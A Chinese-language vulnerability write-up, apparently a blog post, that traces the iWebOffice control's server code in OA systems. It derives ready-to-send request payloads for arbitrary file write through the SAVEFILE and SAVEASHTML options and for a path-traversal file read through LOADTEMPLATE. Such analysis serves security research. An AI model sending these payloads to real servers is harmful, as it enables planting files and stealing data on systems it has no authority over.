金格iWebOffice控件分析

前言

眾所周知,多個(gè)oa中都使用了金格iWebOffice控件。但在不同的oa中exp多少存在差異性,嘗試從代碼層一探究竟。

簡介

金格iWebOffice控件是一種文檔控件,能夠在瀏覽器上進(jìn)行編輯word文檔、excel表格等文檔最終保存在服務(wù)器上,手寫簽名、電子簽章廣泛應(yīng)用于此。所以oa都喜歡使用。

漏洞分析

以某oa為例,本地搭建OfficeServer.jsp進(jìn)行訪問。

image.png
image.png

首先創(chuàng)建iWebOffice類的實(shí)例,officeServer對象調(diào)用ExecuteRun方法。并傳入request、response。

image.png

在ExecuteRun方法里,會創(chuàng)建出數(shù)據(jù)庫對象和創(chuàng)建信息包對象。

image.png

iMsgServer2000 方法里DBSTEP V3.0字符串賦值為this._$906,this._$903創(chuàng)建出臨時(shí)文件。
而后調(diào)用deleteOnExit方法刪除臨時(shí)文件。

回到ExecuteRun方法里,往下判斷請求方法是否為Post請求。

image.png

即必須使用Post方法進(jìn)行請求。

image.png

當(dāng)使用Post方法請求時(shí),首先進(jìn)入MsgObj.Load方法。跟進(jìn)該方法。

image.png

一個(gè)修改編碼的操作,然后調(diào)用了_$1027方法。

image.png

在該方法里以輸入流的方式一次性讀取到mRead,而后從mRead中讀取64位長度保存到HeadString字符串中。
接下來截取HeadString字符串的0-15位賦值為 this._$906,16-31位賦值為BodySize(int類型),32-47位賦值為ErrorSize(int類型),48-63位賦值為this._$907(int類型)即FileSize。
代碼走到這個(gè)地方,我們可以嘗試初步構(gòu)造一下這64位長度。

aaaaaaaaaaaaaaaa1               2               3               

debug 跟蹤一下

image.png

和我們計(jì)算的一樣。

image.png

然后mRead會繼續(xù)讀取BodySize大小的數(shù)據(jù)并賦值為this._$904。

image.png

再往下,如果ErrorSize大于0,mRead會繼續(xù)讀取ErrorSize大小的數(shù)據(jù)并賦值為this._$905。

image.png

再往下,如果FileSize大于0,會創(chuàng)建出this._$903輸出流,并最終寫入文件。

image.png

再往下,如果FileSize小于BlockSize,mRead會繼續(xù)讀取FileSize大小的數(shù)據(jù)并寫入mWite。
到這里,我們可以對數(shù)據(jù)格式進(jìn)一步調(diào)整。

aaaaaaaaaaaaaaaa8               2               3               bbbxxccc

至此MsgObj.Load方法就分析了,我們發(fā)現(xiàn)有一個(gè)文件寫入的操作。但我們需要尋找可控制的參數(shù)來實(shí)現(xiàn)它。
現(xiàn)在回到OfficeServer.jsp頁面中。

image.png

都用到了GetMsgByName方法。

image.png

該方法里判斷this._$904里是否存在mFieldName,即DBSTEP=,如果存在才會進(jìn)入if語句。而后以\r\n分割,并對值進(jìn)行base64解碼。

基于這個(gè)條件,我們完善我們的數(shù)據(jù)格式。

aaaaaaaaaaaaaaaa13              2               3               DBSTEP=MTEx
xxccc

再次回到OfficeServer.jsp中,因?yàn)槎际怯蒅etMsgByName方法獲取的FieldName。我們依次構(gòu)造一下。

image.png

DBSTEP要等于DBSTEP,即DBSTEP=REJTVEVQ

aaaaaaaaaaaaaaaa48              2               3               DBSTEP=REJTVEVQ
FILENAME=
OPTION=
USERNAME=
xxccc

option可以理解為操作的方法,分別對應(yīng)不同的if else語句。當(dāng)option為SAVEFILE時(shí),為保存文件到服務(wù)器。

image.png

依次構(gòu)造出RECORDID、FILENAME、FILETYPE。
再往下一個(gè)參數(shù)isDoc,當(dāng)isDoc為true是,會保存到文件夾。保存的位置由moduleType定義。

image.png

此時(shí)數(shù)據(jù)格式為

aaaaaaaaaaaaaaaa127             2               3               DBSTEP=REJTVEVQ
FILENAME=
OPTION=U0FWRUZJTEU=
USERNAME=
RECORDID=
FILETYPE=
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxccc

再往下就看到保存文件的操作了。

image.png

MsgFileSave方法實(shí)現(xiàn)了將this._$903復(fù)制到FileName。

image.png

可以發(fā)現(xiàn)FileType由可以控制的,即可以控制FileName。
比如FileType賦值為information,文件就會保存到/upload/information/
exp即為:

aaaaaaaaaaaaaaaa138             2               3               DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
USERNAME=
RECORDID=MQ==
FILENAME=
FILETYPE=MS50eHQ=
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxccc
image.png

成功寫入,現(xiàn)在只保留必須的參數(shù)即是exp。

aaaaaaaaaaaaaaaa101             3               4               DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
FILETYPE=MS50eHQ
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxx1111

總結(jié)一下
exp總共是4部分。
1、必須是64位的HeadString。即this._$906+BodySize+ErrorSize+this._$907

aaaaaaaaaaaaaaaa101             3               4              

2、進(jìn)行寫入文件的必備參數(shù)。即

DBSTEP=REJTVEVQ\r\nOPTION=U0FWRUZJTEU=\r\nFILETYPE=MS50eHQ\r\nisDoc=dHJ1ZQ==\r\nmoduleType=aW5mb3JtYXRpb24=\r\n

計(jì)算該字符串長度即是BodySize
3、讀取ErrorSize部分的字符。即xxx,為3位ErrorSize
4、讀取this._$907部分的字符,即1111,為4位this._$907

在整個(gè)過程里,需要注意的是
1、字符串長度的計(jì)算最好使用代碼實(shí)現(xiàn),編輯器存在誤差。
2、因?yàn)?code>FILETYPE的可控,完全可以寫入任意路徑。
3、HeadString部分滿足64位即可,不需要一定存在DBSTEP V3.0

以上就是當(dāng)OPTION為SAVEFILE的利用,思考一下其他OPTION會存在漏洞嗎?SAVEFILE操作產(chǎn)生漏洞的關(guān)鍵就是用了MsgFileSave方法且mFileType可控。依據(jù)這個(gè)思路尋找其他操作。
SAVEASHTML操作時(shí)也出現(xiàn)了MsgFileSavemHtmlName可控。

image.png

構(gòu)造一下exp

aaaaaaaaaaaaaaaa65              3               4               DBSTEP=REJTVEVQ
OPTION=U0FWRUFTSFRNTA==
HTMLNAME=MTIzLnR4dA==
xxx1111

成功寫入。

image.png

除此之外,還有SAVEASPAGE、PUTFILE等操作均可以。
在LOADTEMPLATE操作中,還存在一個(gè)MsgFileLoad任意文件讀取。構(gòu)造一下exp

aaaaaaaaaaaaaaaa111             0               0               DBSTEP=REJTVEVQ
OPTION=TE9BRFRFTVBMQVRF
COMMAND=SU5TRVJURklMRQ==
TEMPLATE=Ly4uL2luZm9ybWF0aW9uLzExLnR4dA==

但該漏洞只適用于windows環(huán)境下。
因?yàn)閘inux在處理路徑分隔符時(shí)有一些差異,無法找到該文件。

image.png

在windows下可正常讀取。

image.png

總結(jié)

繪制一張粗糙的流程圖回顧一下。

image.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 總結(jié)了一些開發(fā)中常用的函數(shù): usleep() //函數(shù)延遲代碼執(zhí)行若干微秒。 unpack() //函數(shù)從二進(jìn)制...
    ADL2022閱讀 556評論 0 3
  • php usleep() 函數(shù)延遲代碼執(zhí)行若干微秒。 unpack() 函數(shù)從二進(jìn)制字符串對數(shù)據(jù)進(jìn)行解包。 uni...
    思夢PHP閱讀 2,145評論 1 24
  • PHP常用函數(shù)大全 usleep() 函數(shù)延遲代碼執(zhí)行若干微秒。 unpack() 函數(shù)從二進(jìn)制字符串對數(shù)據(jù)進(jìn)行解...
    上街買菜丶迷倒老太閱讀 1,509評論 0 20
  • usleep() 函數(shù)延遲代碼執(zhí)行若干微秒。unpack() 函數(shù)從二進(jìn)制字符串對數(shù)據(jù)進(jìn)行解包。uniqid() ...
    知碼客閱讀 272評論 0 0
  • 概述 ??本文檔描述了Mach-O文件格式的結(jié)構(gòu),它被用來存儲程序和庫到硬盤中,作為Mac OS X程序的二進(jìn)制接...
    VenpleD閱讀 1,662評論 0 5

友情鏈接更多精彩內(nèi)容